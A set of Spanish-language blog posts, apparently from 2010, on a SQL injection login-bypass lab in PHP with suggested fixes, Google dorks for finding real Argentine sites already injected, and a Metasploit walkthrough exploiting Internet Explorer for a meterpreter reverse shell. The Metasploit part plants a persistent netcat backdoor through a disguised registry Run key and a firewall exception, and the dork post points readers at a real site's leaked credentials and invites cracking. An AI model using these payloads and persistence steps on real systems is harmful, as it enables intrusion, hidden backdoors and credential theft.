echo "<h1><b>ERRORRRRRR PAYASO <b></h1>";

}



?>




Las primeras lineas es la conexion de la base de datos, la base de datos que contiene la tabla Usuarios, que creamos anteriormente esta en una llamada Hacking, uds quizas la llamaron de otra forma, el usuario que esta realizando las consultas es r00t (super usuario de MySQL) , lo cual es un grave error esto nunca deberia suceder se tendria que crear un usuario con privilegios que la aplicacion nesesitara, r00t corre con todos los privilegios y solo se tendria que utilizar para tareas administrativas. En la practica es raro encontrar este caso pero se encunetran, mas en los lugares donde tienen un servidor dedicado para ellos, y lo montan sin conocimientos y dejan a los servicios por default.
Nosotros vamos a correr nuestra web con r00t para que se vea lo peligroso que es y la potencia de SQL injection con estos privilegios.
Tambien se nesesita un arhicovo .css llamado estilo.css lo puden copiar desde aca, y lo guardan en la carpeta www en mi caso /home/magnobalt/www, este archivo es la maquetacion del sitio
.

Ahh me olvidaba antes de empezar con el siguiente paso que es la practica, carguen algun registro en la tabla usuario, yo coloque como usuario admin y contraseña 123456, y otro magno y contraseña qwerty carguen lo que se le ocurra.


Por fin Accion
Si todo va correctamente uds al dirigirse a http://localhost/admin, le mostrara esta pantalla.



Es el formulario donde pide el usuario y contraseña para ingresar a un area restringida, si el usuario es ingresado incorrectamente mostrara esta pantalla.




saldra la leyenda de "ERORRRRRR PAYASO" y mas arriba que esta lo interesante, es la consulta que es pasada al DBMS que en este caso es el MySQL, con esta leyenda vamos a ir observando lo que va pasando al inyectar codigo.

Si el usuario es correcto saldra esta pantalla





Como veran la sentencia SQL se sigue mostrando arriba, lo unico que hace es que si tenemos acceso sale la Leyenda "ACCESO PERMITIDO" y nos muestra los datos del Usuario.

¿Donde esta el Bug?

El error de en el codigo se encuentra en que no se filtra las variables pasadas por el formulario y se pasan automaticamente a la consulta SQL.

$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

Estas son las lineas del problema, como veran lo que nos pasa por el formulario, el usuario y password
lo llevamos a la variable $usuario y $password, luego automaticamente sin colocar alguna seguridad
lo volcamos a la consulta SQL
Si yo colocaria como nombre admin y password 123456, la consulta arrojara un TRUE y traeria datos de
la base de datos ya que para el usuario admin el password es 123456. Se veria asi


SELECT * FROM usuarios WHERE usuario='admin' AND password='123456'

Los string en MySQL son delimitados por ' (comilla simple), osea que todo lo que esta encerrados entre dos ' MySQL lo toma como string. Para poder inyectar en este caso, nosotros tendriamos que escaparnos de la comilla, simple y luego ahi colocar sentencias SQL. Para entender mejor veamos el ejemplo.
Que pasaria si en vez de colocar un nombre por ejemplo magno yo pondria una comilla simple, la consulta quedaria de este modo ( Esto se puede ir probando en su labs y cada vez que ingresen se mostrara la sentencia SQL que se esta mandando al MySQL )


SELECT * FROM usuarios WHERE usuario=''' AND password=''


Se puede ver que en el campo usuario, hay 3 comillas, las dos de afueras son las que el programador coloco para delimitar lo que ingresa el usuario como string, y la del medio es nuestra comilla simple que acabamos de enviar, lo cual arroja el siguiente error

Error en la consultaYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1


MySQL se esta quejando diciendo que hay un error de sintaxis mas precisamente hay una comilla simple sin cerrar. Esto significa que esa comilla simple esta siendo interpretada como codigo SQL para el DBMS, ahi esta lo interesante.

Ataque 1
Podemos lograr sin saber el password ni el usuario de alguien ingresar como el primer registro de nuestra tabla Usuarios. ¿Como? coloquemos como usuario, 'or 1=1-- , (Coloquen un espacio despues del --)
la consul
ta quedara de este modo

SELECT * FROM usuarios WHERE usuario=''or 1=1-- ' AND password=''

sin saber ni el usuario ni la contraseña entramos como admin.. ;)




Estudiemos un poco lo que hicimos, al ingresar 'or 1=1-- . La comilla ingresada por nosotros cumple la funcion de cerrar la primer comilla del programador es decir quedaria asi '', con eso ya podemos colocar sentencias SQL ya que no estamos dentro de la comillas simples, entonces viene esto or 1=1, la sentencia or significa que si algo es verdadero entonces todo es verdadero, y como 1=1 es verdadero entonces toda nuestra consulta sera verdadera por mas que no hallamos dicho el usuario es igual a '' (osea nada). Or se comporta de esta forma

1- V or V = Verdadero
2- V or F = Verdadero
3- F or V = Verdadero *
4- F or F = Falso

En nuestro caso se comportaria como la linea numero 3, osea Falso or Verdadero. Luego viene lo que es
-- ' AND password=''
, -- en sql es comentario por lo que entonces todo lo que viene despues de ahi se lo toma como comentario, esto nos permite decirle al DBMS que lo que sigue, osea
' AND password='', lo tome como un comentario. Matamos la ' simple que sobraba puesto por el programador y la parte donde pide que el password se = a lo que ingresa el usuario :)


Ataque 2

En el ataque anterior podiamos ingresar sin saber el usuario ni el password, pero caemos solamente en el primer registro de la tabla en cuestion (Usuarios).
Podemos dirigirnos a un registro conociendo el usuario y sin saber la contraeña, para ello casi siempre los administrador colocan
admin, administrador etc, como nombres de usuarios, yo en mi tabla tengo un usuario admin. Entonces inyectamos y entramos como el usuario sin saber su contraseña. En usuario colocamos admin'-- , quedando la consulta SQL

SELECT * FROM usuarios WHERE usuario='admin'-- ' AND password=''

ingresamos como admin sin saber el password :)




y como magno :)



estudiemos un poco lo que hicimos, ingresamos admin'-- la palabra admin es tomada como string ya que va a estar delimitada por la primer comilla del programador mas la comilla que ingresamos siguiendo a ella admin'. Quedando de este modo 'admin', luego el -- realiza la misma funcion que anteriormente dejando en comentario la comilla que sobra mas la sentencia donde pide el password.



La solucion

Cuando empazamos este ejemplo dijimos que la forma de poder inyectar era poder escapar de la limitaciones de la comilla simple, osea que si nosotros podemos llegar a lograr que si el usuario cuando coloque una comilla simple lo trasforme a otra cosa, el usuario ingrese lo que ingrese siempre quedara dentro de las comillas simples que el programador coloco.
Para ello tenemos formas de filtrar comillas, tenemos del lado del servidor y del lado de la aplicacion


Lado del Servidor

Una funcion muy popular es la Magic_quotes, que se encuentra en el archivo php.ini (en nuestro caso con lampp esta en /opt/lampp/etc ). Lo que realiza esta funcion es colocar automaticamente slashes, a las variables que se pasan por $_POST y $_GET. Para que sirve esto es practicamente para poder impedir las SQL injection aunque desde las versiones de PHP 5.3.0, vienen desactivadas mas info.
Para poder activar esta funcionalidad tendremos que editar el archivo php.ini, para ello nos dirigimos a la carpeta de configuracion de lampp


#cd /opt/lampp/etc
#cp php.ini php.ini.backups
#nano php.ini

y buscamos esta linea

magic_quotes_gpc = Off

Y lo ponemos en On

magic_quotes_gpc = On

Luego reiniciamos apache para que tome los cambios

#/opt/lampp/lampp restart

Ahora si quisieramos inyectar las comillas simples ' nos trasformara a esto \',
Osea que si yo ingreso nuevamente para bypasear dicho login la consulta se vera asi.

SELECT * FROM usuarios WHERE usuario='\'or 1=1-- ' AND password=''

Por lo que siempre vamos a quedarnos encerrados entres las comillas simples del programador, por lo cual ingresemos lo que ingresemos siempre nuestro datos seran tomados como un string comun :).


Lado de la Aplicación

Del lado de la aplicacion tambien existen funciones que nos permiten agregar slashes, y recomiendan usar esta funcion antes que las magic_quotes.
Addslashes, es una funcion de php que nos permite actuar de forma similar a las magic_quotes, escapando
',",\ y NULL.
Para que nuestro codigo sea capas de poder filtrar esas comillas agregaremos esta funcion a la variable que llegan desde el usuario y son pasadas para el DBMS. El codigo seguro quedaria de este modo



$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$usuario= addslashes($usuario);
$password= addslashes($password);
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

Con esto logramos filtrar las comillas logrando la misma funcionalidad de magic_quotes. Recomiendo leer sobre la funcion mysql_ real_ escape_ string.
Aqui no esta pero el password se deberia guardar en Base de Datos en forma encriptada usando alguna funcion de hash como ser MD5, SHA1 etc, o algun otro algoritmo. Tambien se puede crear una funcion que al password pase 6 o N veces por la funcion HASH asi que si alguien puede verlo no pueda ser roto de forma facil con fuerza bruta o diccionario.
Por ejemplo el md5 para 123456 es e10adc3949ba59abbe56e057f20f883e, si alguien puede obetener este hash, podria pasarlo por algun diccionario que existen en la web. Una buena tools para esto es la que codeo Daniel ver aqui. Ese hash podemos ver que es facil de romper con diccionario.




El mismo password del usuario 123456, pasado 6 veces por la funcion md5 seria 74e59720dd08b1db45f7152d082c5051 , y pasada por el bruteador




Observamos dos cosas, que hay una baja taza de deteccion, y que el diccionario alimamed.pp.ru, nos mato nuestra seguridad jaja xD...







Proximas Entregas

La proxima entrega se realizara los ataques a las variables de tipo $_GET, y veran que si el dato es un entero no se nesesita la comilla simple, dependiendo de la programacion!. Se vera como detectar que la aplicacion es vulnerable y como explotar con la clausula UNION y luego como solucionar.
Y la ultima entrega se veran las SQL injection mas avanzadas que son las que permiten comprometer al HOST.
Tambien podria hacer una cuarta entrega para hablar sobre BLIND SQL, y un DOS a travez de SQL injection.

martes, 13 de abril de 2010

Sql Injection Cache Google



Todos sabemos que Mr. Google es una herramienta fabulosa, y que todos los dias lo usamos para realizar busquedas de cualquier tipo. En este caso la busqueda es algo rebuscada, por asi decirlo, la cuestion es que colocando una dork, con un cadena de texto con sentencias SQL podemos obetener SQLi ya provocadas por otras personas.
La cuestion es que si lo que hace Google esta bien, ¿por que no ponen una restrincion a bug como ser SQL, XSS, RFI, LFI etc.. etc...?
Pero Google no se puede hacer cargo de lo que pasa a cada web del mundo, los que se deberian hacerse cargo son los Webmaster de sus propias paginas, para mas hay mucha informacion en la web de como sanear una consulta SQL para no caer en un SQL INJECTION.

Busqueda
La busqueda se realiza con ayuda de Hacking Google de una forma sensilla:

inurl:UNION SELECT 1,2 site:com.ar


Con esta busqueda lo que hacemos es decir a Google que nos de la web que tengan la cadena
"UNION SELECT 1,2" en su URL pero que tambien nos filtre los sitios argentinos "com.ar" :).

Obetenmos algo como esto.






Bueno creo que a todos nos va a llamar la atención de la Web de Jesica.. creo que ya se quien pudo haber hecho la Inyecion.

Vamos al enlace, y vemos que tenemos el usuario y el password cifrado) y por lo visto algo fuertes, probé algunos diccionarios y nada, el que pueda crackearlo que ponga en comentarios si quiere ;).



Ahora también se puede ver otra cosa. Hay una seccion que es PREMIUM ;)...
En fin eso los dejo para que el que quiere investigar, tampoco se puede regalar las cosas tan fáciles no, para eso ya está Google con su indexación ja..


Saludos!







Enlace

lunes, 22 de marzo de 2010

Laboratorio - Metasploit - Backdor Persistente + Exploit ie_iepeers_pointer

El 10 de marzo me llego un mail de Uno al Dia, informando el nuevo 0-day de Internet Explorer, que ataca a las versiones 6 y 7, las versiones 5 y 8 no son afectadas.
Como contramedida seria los que usan IE migrar totalmente hacia la version 8. Estadisticamente de 100 personas aprox. 20 estarian usando las versiones 6 y 7 de de IE, les dejo una imagen



El exploit es un BOF que ataca a la libreria ie_iepeers pudiendo ejecutar codigo arbitrario con privilegios del usuario que esta ejecutando el navegador.
Para poder usarlo desde el metasploit antes realizen un update al freamwork.

#msfupdate

Comenzando

Este post va en dos partes primero el ataque con el exploit ie_iepeers, y luego subir un netcat y dejarlo como backdor persistente en la victima.

Herramientas
Como laboratorio tengo un Debian 5.0 como sistema anfitrion, Windows XP SP 3 - Internet Explorer 6.0 corriendo como sistema huesped, VirtualBOX 3.1.4 r57640, Metasploit Framework Version: 3.3.4-de

Primer Parte
Bueno la carga de los datos es exactamente igual que la forma donde mostre en el post anterior de Metasploit LINK, mostrare todo junto desde la eleccion del exploit, seteo de variables hasta lanzar el exploit.




Magno:/home/magno# msfconsole

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|





=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8878 updated today (2010.03.22)

msf > use exploit/windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set URIPATH /
URIPATH => /
msf exploit(ie_iepeers_pointer) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.1 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.56.1 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0


msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
Vemos que el atacante tiene como ip 192.168.56.1, ahora quedaria que la victime ingrese a la direccion http://192.168.56.1:8080, el cual es la pagina maliciosa hecha por el metasploit, donde si cumple los requisitos de dicho exploit se ejecutara el payload en la maquina victima.

Entonces ingresamos





En la consola del metasploit podemos ver como se ejecuto y tenemos una sesion de meterpreter.



msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] Sending Internet Explorer iepeers.dll Use After Free to 192.168.56.101:1034...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1035)
[*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.101:1035) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1364)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 188
[*] New server process: notepad.exe (188)

msf exploit(ie_iepeers_pointer) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter VICTIMA-55919B2\victima 2 @ VICTIMA-55919B2 192.168.56.1:4444 -> 192.168.56.101:1035

msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VICTIMA-55919B2
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES
meterpreter >




Segunda Parte

Una vez obtenido una sesion lo que vamos hacer es interactuar con la victima con el meterpreter. El proceso de este backdor es muy simple consisten en subir el netcat dejando en escucha un puerto con una cmd.exe , y colocando una exepcion en el firewall ya que la conexion sera de tipo bind.

Subimos el netcat
Para ello tenemos que tener el netcat para windows, yo lo tengo en la carpeta de mi /home/ y lo subiremos en la carpeta de system32, la sentecia quedaria asi.





meterpreter > upload /home/magno/nc.exe c:\\windows\\system32
[*] uploading : /home/magno/nc.exe -> c:\windows\system32
[*] uploaded : /home/magno/nc.exe -> c:\windows\system32\nc.exe


Luego agregaremos una clave en el registro de windows para que arranque netcat escuchando el puerto 1234 con el cmd.exe, de forma daemon -d.



meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
-v realtek -d 'C:\Windows\System32\nc.exe -L -d -e cmd.exe -p 1234'

Successful set Hacked.


Ahora nos quedaria agregar una exepcion en el firewall de windows, de la victima, para ello pedismos una shell en el metrpreter y ejecutamos los comandos como se muestran.



meterpreter > execute -f cmd.exe -i -H
Process 560 created.
Channel 3 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victima 2\Escritorio>netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
Aceptar


C:\Documents and Settings\victima 2\Escritorio>netsh firewall show portopening
netsh firewall show portopening

Configuraci�n de puerto para el perfil Est�ndar:
Puerto Protocolo Modo Nombre
-------------------------------------------------------------------
1234 TCP Habilitar c:\windows\system32\nc.exe
1234 UDP Habilitar c:\windows\system32\nc.exe


C:\Documents and Settings\victima 2\Escritorio>^C
Terminate channel 3? [y/N] y
meterpreter > reboot
Rebooting...


El comando netsh nos permite setear configuraciones del firewall de windows, lo que hacemos es agregar una exepcion para el programa netcat, en el puerto 1234, para UDP y TCP, y como muestra despues podemos ver que estan colocadas las expeciones con el comando netsh firewall show portopening
Apretamos Crtl + c, no da el meterpreter y reiniciamos la computadora de la victima.
Ahora Fijense como la victima esta escuchando el puerto 1234




Solamente nos queda verificar e ingresar con el netcat a la victima de esta forma.







Eso es todo, Saludos